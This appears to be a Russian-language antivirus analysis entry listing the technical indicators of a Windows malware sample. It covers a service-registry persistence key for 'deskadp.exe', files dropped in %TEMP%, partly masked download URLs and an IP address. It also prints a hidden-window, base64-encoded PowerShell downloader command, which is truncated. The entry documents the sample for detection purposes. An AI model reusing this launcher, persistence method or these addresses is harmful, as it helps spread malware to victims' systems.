Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\deskadp] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\deskadp] 'ImagePath' = '"<SYSTEM32>\authz\deskadp.exe"'
- 'deskadp' "<SYSTEM32>\authz\deskadp.exe"
- 'deskadp' <SYSTEM32>\authz\deskadp.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABEAG8AaQA3AHgAagAwAD0AKAAoACcATgAzACcAKwAnAGIAZwAnACkAKwAoACcAcwAnACsAJwBjAHMAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAG4AdgA6AFQAZQBtAHAAXABXAE8AUgBEAFwAMgAwAD...
- %TEMP%\word\2019\zlcoy_4.exe
- <SYSTEM32>\authz\deskadp.exe
- %TEMP%\word\2019\zlcoy_4.exe в <SYSTEM32>\authz\deskadp.exe
- '17#.#1.218.65':80
- http://ca###oomz.com/wp-includes/rPG/
- http://17#.#1.218.65/KzZEv/U2pXJEglWGcHPn/vO1TpQbF48Vjv/8i4xn5/mPu8hXf9XU5uk66eL/u2DxtEOuug/
- DNS ASK ca###oomz.com
- '%TEMP%\word\2019\zlcoy_4.exe'
- '<SYSTEM32>\authz\deskadp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABEAG8AaQA3AHgAagAwAD0AKAAoACcATgAzACcAKwAnAGIAZwAnACkAKwAoACcAcwAnACsAJwBjAHMAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAG4AdgA6AFQAZQBtAHAAXABXAE8AUgBEAFwAMgAwAD...' (со скрытым окном)